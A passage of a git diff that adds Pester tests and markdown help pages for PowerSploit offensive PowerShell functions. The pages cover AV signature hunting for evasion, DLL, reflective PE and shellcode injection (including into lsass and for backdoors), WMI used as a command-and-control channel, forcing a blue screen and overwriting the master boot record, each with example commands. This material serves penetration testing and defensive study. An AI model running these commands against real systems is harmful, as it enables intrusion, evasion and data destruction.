secret,testing -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -OfficeDocs argument" { + {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -FreshEXEs argument" { + {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -LastAccessTime argument" { + {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -LastWriteTime argument" { + {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -ExcludeFolders argument" { + {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -ExcludeHidden argument" { + {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -CreationTime argument" { + {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -OutFile argument" { + {Invoke-FileFinder -ComputerName "$env:computername" -OutFile "found_files.csv"} | Should Not Throw + if(Test-Path -Path .\found_files.csv) { + $Null = Remove-Item -Force .\found_files.csv + } + } + It "Should accept -NoPing argument" { + {Invoke-FileFinder -NoPing -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -Delay and -Jitter arguments" { + {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername")} | Should Not Throw + } +} + + +Describe "Find-LocalAdminAccess" { + It "Should accept -ComputerName argument" { + if ( (Find-LocalAdminAccess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -NoPing argument" { + if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-EnumerateLocalAdmin" { + It "Should accept -ComputerName argument" { + if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -NoPing argument" { + if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Outfile argument" { + Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" -OutFile "local_admins.csv" + ".\local_admins.csv" | Should Exist + Remove-Item -Force .\local_admins.csv + } +} diff --git a/docs/AntivirusBypass/Find-AVSignature.md b/docs/AntivirusBypass/Find-AVSignature.md new file mode 100755 index 00000000..16061541 --- /dev/null +++ b/docs/AntivirusBypass/Find-AVSignature.md @@ -0,0 +1,158 @@ +# Find-AVSignature + +## SYNOPSIS +Locate tiny AV signatures. + +PowerSploit Function: Find-AVSignature +Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Find-AVSignature [-StartByte] [-EndByte] [-Interval] [[-Path] ] + [[-OutPath] ] [[-BufferLen] ] [-Force] +``` + +## DESCRIPTION +Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe +``` + +Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose +Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose +Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose +Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose + +## PARAMETERS + +### -StartByte +Specifies the first byte to begin splitting on. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EndByte +Specifies the last byte to split on. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Interval +Specifies the interval size to split with. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 3 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Specifies the path to the binary you want tested. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: ($pwd.path) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OutPath +Optionally specifies the directory to write the binaries to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: ($pwd) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -BufferLen +Specifies the length of the file read buffer . +Defaults to 64KB. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 65536 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Forces the script to continue without confirmation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Several of the versions of "DSplit.exe" available on the internet contain malware. + +## RELATED LINKS + +[http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html +https://github.com/mattifestation/PowerSploit +http://www.exploit-monday.com/ +http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2](http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html +https://github.com/mattifestation/PowerSploit +http://www.exploit-monday.com/ +http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2) + diff --git a/docs/CodeExecution/Invoke-DllInjection.md b/docs/CodeExecution/Invoke-DllInjection.md new file mode 100755 index 00000000..d41bf318 --- /dev/null +++ b/docs/CodeExecution/Invoke-DllInjection.md @@ -0,0 +1,79 @@ +# Invoke-DllInjection + +## SYNOPSIS +Injects a Dll into the process ID of your choosing. + +PowerSploit Function: Invoke-DllInjection +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-DllInjection [-ProcessID] [-Dll] +``` + +## DESCRIPTION +Invoke-DllInjection injects a Dll into an arbitrary process. +It does this by using VirtualAllocEx to allocate memory the size of the +DLL in the remote process, writing the names of the DLL to load into the +remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread +to invoke LoadLibraryA in the context of the remote process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-DllInjection -ProcessID 4274 -Dll evil.dll +``` + +Description +----------- +Inject 'evil.dll' into process ID 4274. + +## PARAMETERS + +### -ProcessID +Process ID of the process you want to inject a Dll into. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Dll +Name of the dll to inject. +This can be an absolute or relative path. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Use the '-Verbose' option to print detailed information. + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/CodeExecution/Invoke-ReflectivePEInjection.md b/docs/CodeExecution/Invoke-ReflectivePEInjection.md new file mode 100755 index 00000000..aee653d8 --- /dev/null +++ b/docs/CodeExecution/Invoke-ReflectivePEInjection.md @@ -0,0 +1,300 @@ +# Invoke-ReflectivePEInjection + +## SYNOPSIS +This script has two modes. +It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. +These modes have different parameters and constraints, +please lead the Notes section (GENERAL NOTES) for information on how to use them. + +1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. +Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + +This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, +this will load and execute the DLL/EXE in to memory without writing any files to disk. + +2.) Reflectively load a DLL in to memory of a remote process. +As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + +This is probably most useful for injecting backdoors in SYSTEM processes in Session0. +Currently, you cannot retrieve output +from the DLL. +The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. + +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-ReflectivePEInjection [-PEBytes] [[-ComputerName] ] [[-FuncReturnType] ] + [[-ExeArgs] ] [[-ProcId] ] [[-ProcName] ] [-ForceASLR] [-DoNotZeroMZ] +``` + +## DESCRIPTION +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print +``` + +the wchar_t* returned by WStringFunc() from all the computers. +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Load DemoEXE and run it locally. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL_RemoteProcess.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local + +## PARAMETERS + +### -PEBytes +A byte array containing a DLL/EXE to load and execute. + +```yaml +Type: Byte[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerName +Optional, an array of computernames to run the script on. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FuncReturnType +Optional, the return type of the function being called in the DLL. +Default: Void + Options: String, WString, Void. +See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: Void +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExeArgs +Optional, arguments to pass to the executable being reflectively loaded. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcId +Optional, the process ID of the remote process to inject the DLL in to. +If not injecting in to remote process, ignore this. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcName +Optional, the name of the remote process to inject the DLL in to. +If not injecting in to remote process, ignore this. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ForceASLR +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. +Some PE's will work with ASLR even + if the compiler flags don't indicate they support it. +Other PE's will simply crash. +Make sure to test this prior to using. +Has no effect when + loading in to a remote process. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DoNotZeroMZ +Optional, will not wipe the MZ from the first two bytes of the PE. +This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +GENERAL NOTES: +The script has 3 basic sets of functionality: +1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. +2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. +If remote output is needed, you must use a DLL. +CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. +3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). +This is the function that will be called after the DLL is loaded. + +DLL LOADING NOTES: + +PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. +If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL +return a char* or wchar_t*, which PowerShell can take and read the output from. +Anything output from stdout which is run using powershell +remoting will not be returned to you. +If you just run the PowerShell script locally, you WILL be able to see the stdout output from +applications because it will just appear in the console window. +The limitation only applies when using PowerShell remoting. + +For DLL Loading: +Once this script loads the DLL, it calls a function in the DLL. +There is a section near the bottom labeled "YOUR CODE GOES HERE" +I recommend your DLL take no parameters. +I have prewritten code to handle functions which take no parameters are return +the following types: char*, wchar_t*, and void. +If the function returns char* or wchar_t* the script will output the +returned data. +The FuncReturnType parameter can be used to specify which return type to use. +The mapping is as follows: +wchar_t* : FuncReturnType = WString +char* : FuncReturnType = String +void : Default, don't supply a FuncReturnType + +For the whcar_t* and char_t* options to work, you must allocate the string to the heap. +Don't simply convert a string +using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + +The function name expected in the DLL for the prewritten FuncReturnType's is as follows: +WString : WStringFunc +String : StringFunc +Void : VoidFunc + +These function names ARE case sensitive. +To create an exported DLL function for the wstring type, the function would +be declared as follows: +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + +If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify +this script to accomodate this. +You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + +Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + +## RELATED LINKS + +[http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/](http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/) + diff --git a/docs/CodeExecution/Invoke-Shellcode.md b/docs/CodeExecution/Invoke-Shellcode.md new file mode 100755 index 00000000..7240a4c2 --- /dev/null +++ b/docs/CodeExecution/Invoke-Shellcode.md @@ -0,0 +1,116 @@ +# Invoke-Shellcode + +## SYNOPSIS +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-Shellcode [-ProcessID ] [-Shellcode ] [-Force] +``` + +## DESCRIPTION +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. +To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/\[";\]//g;s/\\\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. +Also, don't bother encoding your shellcode. +It's entirely unnecessary. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Shellcode -ProcessId 4274 +``` + +Description +----------- +Inject shellcode into process ID 4274. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-Shellcode +``` + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) +``` + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. +64-bit! + +## PARAMETERS + +### -ProcessID +Process ID of the process you want to inject shellcode into. + +```yaml +Type: UInt16 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Shellcode +Specifies an optional shellcode passed in as a byte array + +```yaml +Type: Byte[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Injects shellcode without prompting for confirmation. +By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/CodeExecution/Invoke-WmiCommand.md b/docs/CodeExecution/Invoke-WmiCommand.md new file mode 100755 index 00000000..23e7d9e1 --- /dev/null +++ b/docs/CodeExecution/Invoke-WmiCommand.md @@ -0,0 +1,311 @@ +# Invoke-WmiCommand + +## SYNOPSIS +Executes a PowerShell ScriptBlock on a target computer using WMI as a +pure C2 channel. + +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-WmiCommand [-Payload] [[-RegistryHive] ] [[-RegistryKeyPath] ] + [[-RegistryPayloadValueName] ] [[-RegistryResultValueName] ] [[-ComputerName] ] + [[-Credential] ] [[-Impersonation] ] + [[-Authentication] ] [-EnableAllPrivileges] [[-Authority] ] +``` + +## DESCRIPTION +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target +computer using WMI as a pure C2 channel. +It does this by using the +StdRegProv WMI registry provider methods to store a payload into a +registry value. +The command is then executed on the victim system and +the output is stored in another registry value that is then retrieved +remotely. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Hosts = Get-Content hostnames.txt +``` + +PS C:\\\>$Payload = Get-Content payload.ps1 +PS C:\\\>$Credential = Get-Credential 'TargetDomain\TargetUser' +PS C:\\\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$Payload = Get-Content payload.ps1 +``` + +PS C:\\\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose +``` + +## PARAMETERS + +### -Payload +Specifies the payload to be executed on the remote system. + +```yaml +Type: ScriptBlock +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryHive +{{Fill RegistryHive Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: HKEY_CURRENT_USER +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryKeyPath +Specifies the registry key where the payload and payload output will +be stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: SOFTWARE\Microsoft\Cryptography\RNG +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryPayloadValueName +Specifies the registry value name where the payload will be stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: Seed +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryResultValueName +Specifies the registry value name where the payload output will be +stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Value +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerName +Runs the command on the specified computers. +The default is the local +computer. + +Type the NetBIOS name, an IP address, or a fully qualified domain +name of one or more computers. +To specify the local computer, type +the computer name, a dot (.), or "localhost". + +This parameter does not rely on Windows PowerShell remoting. +You can +use the ComputerName parameter even if your computer is not +configured to run remote commands. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Cn + +Required: False +Position: 6 +Default value: Localhost +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +Specifies a user account that has permission to perform this action. +The default is the current user. +Type a user name, such as "User01", +"Domain01\User01", or User@Contoso.com. +Or, enter a PSCredential +object, such as an object that is returned by the Get-Credential +cmdlet. +When you type a user name, you will be prompted for a +password. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Impersonation +Specifies the impersonation level to use. +Valid values are: + +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) + +1: Anonymous (Hides the credentials of the caller.) + +2: Identify (Allows objects to query the credentials of the caller.) + +3: Impersonate (Allows objects to use the credentials of the caller.) + +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) + +```yaml +Type: ImpersonationLevel +Parameter Sets: (All) +Aliases: +Accepted values: Default, Anonymous, Identify, Impersonate, Delegate + +Required: False +Position: 8 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Authentication +Specifies the authentication level to be used with the WMI connection. +Valid values are: + +-1: Unchanged + +0: Default + +1: None (No authentication in performed.) + +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) + +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) + +4: Packet (Authentication is performed on all the data that is received from the client.) + +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) + +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) + +```yaml +Type: AuthenticationLevel +Parameter Sets: (All) +Aliases: +Accepted values: Default, None, Connect, Call, Packet, PacketIntegrity, PacketPrivacy, Unchanged + +Required: False +Position: 9 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EnableAllPrivileges +Enables all the privileges of the current user before the command +makes the WMI call. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Authority +Specifies the authority to use to authenticate the WMI connection. +You can specify standard NTLM or Kerberos authentication. +To use +NTLM, set the authority setting to ntlmdomain:\, where +\ identifies a valid NTLM domain name. +To use Kerberos, +specify kerberos:\. +You cannot include the +authority setting when you connect to the local computer. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 10 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### System.String[] + +Accepts one or more host names/IP addresses over the pipeline. + +## OUTPUTS + +### System.Management.Automation.PSObject + +Outputs a custom object consisting of the target computer name and +the output of the command executed. + +## NOTES +In order to receive the output from your payload, it must return +actual objects. +For example, Write-Host doesn't return objects +rather, it writes directly to the console. +If you're using +Write-Host in your scripts though, you probably don't deserve to get +the output of your payload back. +:P + +## RELATED LINKS + diff --git a/docs/Mayhem/Set-CriticalProcess.md b/docs/Mayhem/Set-CriticalProcess.md new file mode 100755 index 00000000..1ec952f2 --- /dev/null +++ b/docs/Mayhem/Set-CriticalProcess.md @@ -0,0 +1,108 @@ +# Set-CriticalProcess + +## SYNOPSIS +Causes your machine to blue screen upon exiting PowerShell. + +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Set-CriticalProcess [-Force] [-ExitImmediately] [-WhatIf] [-Confirm] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-CriticalProcess +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Set-CriticalProcess -ExitImmediately +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Set-CriticalProcess -Force -Verbose +``` + +## PARAMETERS + +### -Force +Set the running PowerShell process as critical without asking for confirmation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExitImmediately +Immediately exit PowerShell after successfully marking the process as critical. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhatIf +Shows what would happen if the cmdlet runs. +The cmdlet is not run. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: wi + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Confirm +Prompts you for confirmation before running the cmdlet. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: cf + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Mayhem/Set-MasterBootRecord.md b/docs/Mayhem/Set-MasterBootRecord.md new file mode 100755 index 00000000..0aa994d5 --- /dev/null +++ b/docs/Mayhem/Set-MasterBootRecord.md @@ -0,0 +1,184 @@ +# Set-MasterBootRecord + +## SYNOPSIS +Proof of concept code that overwrites the master boot record with the +message of your choice. + +PowerSploit Function: Set-MasterBootRecord +Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Set-MasterBootRecord [[-BootMessage] ] [-RebootImmediately] [-Force] [-WhatIf] [-Confirm] +``` + +## DESCRIPTION +Set-MasterBootRecord is proof of concept code designed to show that it is +possible with PowerShell to overwrite the MBR. +This technique was taken +from a public malware sample. +This script is inteded solely as proof of +concept code. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' +``` + +## PARAMETERS + +### -BootMessage +Specifies the message that will be displayed upon making your computer a brick. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: Stop-Crying; Get-NewHardDrive +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RebootImmediately +Reboot the machine immediately upon overwriting the MBR. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Suppress the warning prompt. + +```yaml 